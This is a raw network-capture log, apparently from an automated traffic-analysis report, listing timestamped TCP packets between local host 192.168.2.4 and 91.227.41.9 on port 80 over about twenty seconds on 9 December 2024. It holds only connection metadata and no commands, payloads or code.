                                                                                                                                      Dec 9, 2024 00:27:27.870177031 CET804975091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.870191097 CET804975091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:27.870203972 CET804975091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:28.665081024 CET804975091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:28.718772888 CET4975080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:28.901535034 CET804975091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:28.952416897 CET4975080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:29.041975021 CET4975180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:29.161504984 CET804975191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:29.161572933 CET4975180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:29.161705017 CET4975180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:29.280920029 CET804975191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:29.514961958 CET4975180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:29.634388924 CET804975191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:29.634406090 CET804975191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:29.634437084 CET804975191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:30.428956032 CET804975191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:30.456078053 CET4975180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.456268072 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.577109098 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:30.577197075 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.577334881 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.577418089 CET804975191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:30.577471018 CET4975180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.604046106 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.698782921 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:30.725060940 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:30.725142002 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.725287914 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:30.846426964 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:30.921433926 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.042185068 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.042273045 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.042282104 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.042290926 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.042345047 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.042381048 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.042417049 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.043231964 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.043282032 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.043301105 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.043350935 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.043811083 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.043828011 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.043858051 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.043875933 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.046031952 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.046083927 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.077488899 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.163757086 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.163798094 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.163840055 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.163858891 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.163934946 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.163969994 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.163986921 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.164004087 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.164086103 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.164134979 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.198602915 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.209302902 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.209403992 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.284919024 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.284940004 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.329305887 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.329408884 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.377340078 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.377404928 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.493387938 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.493451118 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.560879946 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.561070919 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.614567995 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.614628077 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.682205915 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.682238102 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.682296038 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.682312012 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.682322979 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.682347059 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.682382107 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.682394028 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.682796955 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.683851004 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.683861017 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.683916092 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.683953047 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.683962107 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.684005022 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.685575962 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.685585976 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.685621977 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.685636044 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.685658932 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.685740948 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.685791016 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.687242031 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.687829018 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.687876940 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:31.689544916 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.690102100 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.690113068 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.691338062 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.691438913 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.693059921 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.693116903 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.694693089 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.694787979 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.696520090 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.696573973 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.698705912 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.698802948 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.698831081 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.700464964 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.700510025 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.702131987 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.735953093 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.785497904 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.803647041 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.803721905 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.804691076 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.805255890 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.805867910 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.806404114 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.807543993 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.808109045 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.809809923 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.809920073 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.809928894 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.812131882 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.812203884 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.812226057 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.845737934 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:31.889914036 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.000683069 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.046180964 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.237380028 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.280692101 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.355108023 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.355417013 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.474690914 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.474711895 CET804975391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.474803925 CET4975380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.474981070 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.474981070 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.543358088 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.543648005 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.560709953 CET4975080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.594192982 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.705331087 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.827641964 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.889971018 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:32.947077036 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.947103024 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.947112083 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:32.983767986 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:33.009346962 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:33.009362936 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:33.030529976 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:33.431360006 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:33.483661890 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:33.740979910 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:33.796190977 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:33.973172903 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:34.015052080 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.088150024 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.088284969 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.088555098 CET4975580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.209068060 CET804975291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:34.209136963 CET4975280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.209229946 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:34.209300041 CET4975580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.209474087 CET4975580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.209496975 CET804975491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:34.209542036 CET4975480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.330435991 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:34.562031031 CET4975580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:34.682841063 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:34.682852983 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:34.682866096 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:35.476969004 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:35.530555964 CET4975580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:35.709336042 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:35.764928102 CET4975580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:35.846157074 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:35.965487957 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:35.965570927 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:35.965714931 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:36.084929943 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:36.312043905 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:36.431431055 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:36.431442976 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:36.431473017 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:37.234688044 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:37.280554056 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:37.489696026 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:37.530558109 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:37.603621960 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:37.603811026 CET4975780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:37.723036051 CET804975791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:37.723110914 CET4975780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:37.723239899 CET4975780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:37.723308086 CET804975691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:37.723360062 CET4975680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:37.844393969 CET804975791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.077508926 CET4975780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.197160959 CET804975791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.197175026 CET804975791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.197185993 CET804975791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.437679052 CET4975780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.437763929 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.557156086 CET804975891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.557246923 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.571013927 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.573791027 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.597342968 CET804975791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.690361977 CET804975891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.693038940 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.693114042 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.693223000 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.716353893 CET804975791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.716424942 CET4975780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:38.812444925 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:38.921875954 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:39.041393042 CET804975891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:39.041408062 CET804975891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:39.046348095 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:39.165889025 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:39.165904999 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:39.165910959 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:39.870912075 CET804975891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:39.921199083 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.024805069 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.077450037 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.105581999 CET804975891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.155608892 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.257663965 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.311810017 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.370528936 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.370589018 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.370835066 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.490370989 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.490468025 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.490586042 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.490607977 CET804975891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.490660906 CET4975880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.491094112 CET804975991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.491141081 CET4975980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.579751015 CET804975591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.579817057 CET4975580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.611387968 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.843182087 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:40.963964939 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.963979006 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:40.963990927 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:41.772653103 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:41.827449083 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.035217047 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:42.077442884 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.149609089 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.149874926 CET4976180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.269145966 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:42.269231081 CET4976180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.269232988 CET804976091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:42.269283056 CET4976080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.269382954 CET4976180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.388612032 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:42.624428034 CET4976180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:42.743875027 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:42.743896008 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:42.743906975 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:43.550786018 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:43.593094110 CET4976180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:43.785527945 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:43.827455044 CET4976180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:43.900861025 CET4976280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:44.021549940 CET804976291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:44.021630049 CET4976280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:44.021748066 CET4976280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:44.142786026 CET804976291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:44.374555111 CET4976280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:44.495349884 CET804976291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:44.495672941 CET804976291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:44.495686054 CET804976291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.109662056 CET4976280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.109731913 CET4976380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.230016947 CET4976480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.230849981 CET804976391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.230937004 CET4976380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.231050014 CET4976380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.231096983 CET804976291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.231148958 CET4976280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.350907087 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.350987911 CET4976480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.351223946 CET4976480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.351867914 CET804976391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.470432997 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.577569962 CET4976380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.697027922 CET804976391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.697045088 CET804976391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.702629089 CET4976480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:45.823904037 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.823918104 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:45.823929071 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:46.542615891 CET804976391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:46.593085051 CET4976380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:46.637933969 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:46.686858892 CET4976480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:46.873531103 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:46.921211958 CET4976480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:46.995110035 CET4976380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:46.995425940 CET4976480192.168.2.491.227.41.9
